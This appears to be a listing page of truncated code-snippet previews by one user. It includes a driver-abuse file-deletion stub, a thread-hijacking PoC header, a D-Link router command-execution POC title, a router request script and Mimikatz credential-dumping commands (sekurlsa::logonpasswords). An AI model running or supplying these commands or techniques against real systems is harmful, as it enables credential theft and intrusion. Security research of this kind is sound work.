gavz

# probably exists in a better form; but script is useful for caching OS modules based on major OS version/build and file 
# hash. intended to make life easier, ymmv.
#
# .\symcache.ps1 -src "C:\Windows\System32\drivers" -dst "X:\Windows\drivers"
# ^^ This will copy and organize the bins in the subdirectory and recurse through all subdirectories, and then download
#    the symbols if they are available.
#
# - daax

param(

gavz

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "winmm.lib")

void Nothing(WORD wKey)
{
}

void PrintKey(WORD wKey)

gavz

#include <Windows.h>
#include <stdio.h>

const wchar_t* wstrDummyFile = LR"(\??\C:\Windows\System32\kernelbase.dll)";
const char* strDeviceName = R"(\\.\IMFForceDelete123)";

int main() {
	DWORD dwReturnVal = 0;
	DWORD dwBytesReturned = 0;
	BOOL bRes = FALSE;

gavz

/*
* Thread Hijacking without executable memory allocation PoC
*
* @UmaRex01
* https://medium.com/@umarex01/t-rop-h-thread-hijacking-without-executable-memory-allocation-d746c102a9ca
*/

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>

gavz

#include <cstdio>
#include <windows.h>

VOID WINAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    puts("[DynamicLibrary.dll]: TLS Callback");
}

#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")

gavz

/**
 * Description:
 *   You can decode the hidden message by running the program.
 *   Compile and execute: user@host:~$ javac A.java && java A
 * 
 * @author Bipin Jitiya
 * @since 2024-12-17
 */
class A {
    public static void main(String[] args){

gavz

D-Link DIR-823X AX3000 Dual-Band Gigabit Wireless Router Remote Command Execution POC

Manufacturer's official website

D-Link | Welcome (dlink.com.cn)

Device model

DIR-823X AX3000 Dual-Band Gigabit Wireless Router

gavz

from __future__ import print_function
import requests
import base64

# curl to python requests
# https://curl.trillworks.com/

home_url = 'http://192.168.1.170/'

session = requests.Session()

gavz

/**
LCG output...
lcg(1) : 40B2947B
lcg(2) : 73718F14
lcg(3) : 6203F04B
lcg(4) : 1BB91A70
lcg(5) : 0CFC23E0

ICG output...
icg(5) : 0CFC23E0

gavz

#general
privilege::debug
log
log customlogfilename.log


#sekurlsa
sekurlsa::logonpasswords
sekurlsa::logonPasswords full